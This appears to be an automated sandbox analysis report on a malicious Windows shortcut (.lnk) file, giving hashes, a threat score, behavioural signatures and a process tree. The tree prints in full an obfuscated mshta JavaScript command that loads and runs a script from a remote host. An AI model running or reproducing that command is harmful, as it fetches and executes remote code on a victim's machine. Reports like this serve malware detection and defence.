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Analysis

  • max time kernel
    94s
  • max time network
    96s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240730-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240730-enlocale:en-usos:windows10-2004-x64system
  • submitted
    02/08/2024, 12:08

General

  • Target

    0c4bab1bea283764fd4205ce9aa24f7c72c287578729a986f240d20cb2929f62.lnk

  • Size

    16KB

  • MD5

    f42bf29a11a3feee10ba5c1e7c693f1e

  • SHA1

    ed4c179341c429a86675d8d94e34cb97b112df78

  • SHA256

    0c4bab1bea283764fd4205ce9aa24f7c72c287578729a986f240d20cb2929f62

  • SHA512

    8ce42c3456c527b5b182f5cb8f3118241d23d8c3f142b325c575f055cf6703d0ad0fedbe1740712e5e54bbe0503faf8847b20fc8bad340a8d506fca271847939

  • SSDEEP

    384:zAmMYXKJXi7LLGNZYXENk+eZih4YMUEJvcCT9OfqDJt71W/9njZIG:JIXuGNj+Hkh4bvfk2jZ4ZtN

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 6 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\0c4bab1bea283764fd4205ce9aa24f7c72c287578729a986f240d20cb2929f62.lnk
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2096
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /v:Off /D/c mShtA "JAVascrIPT:var _$_FOTV=["\x59\131\x43\x4f\x45\x4b\x4f","\163\x63\x72\x69\x70\x74\x3a\x48\x54\164\x70\x73\x3a\x2f\x2f\x62\x6c\157\x72\x69\x7a\x2e\x67\x65\x73\164\141\157\x61\x64\x6d\151\x6e\151\x73\x74\162\x61\x74\151\x76\x61\x64\x61\x74\x69\x6e\x67\56\x69\157\x2f\x3f\x31\x2f"];try{GetObject(_$_FOTV[1])[_$_FOTV[0]]()}catch(e){};close()"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1944
      • C:\Windows\system32\mshta.exe
        mShtA "JAVascrIPT:var _$_FOTV=["\x59\131\x43\x4f\x45\x4b\x4f","\163\x63\x72\x69\x70\x74\x3a\x48\x54\164\x70\x73\x3a\x2f\x2f\x62\x6c\157\x72\x69\x7a\x2e\x67\x65\x73\164\141\157\x61\x64\x6d\151\x6e\151\x73\x74\162\x61\x74\151\x76\x61\x64\x61\x74\x69\x6e\x67\56\x69\157\x2f\x3f\x31\x2f"];try{GetObject(_$_FOTV[1])[_$_FOTV[0]]()}catch(e){};close()"
        3⤵
        • Blocklisted process makes network request
        PID:3704

Network

MITRE ATT&CK Enterprise v15

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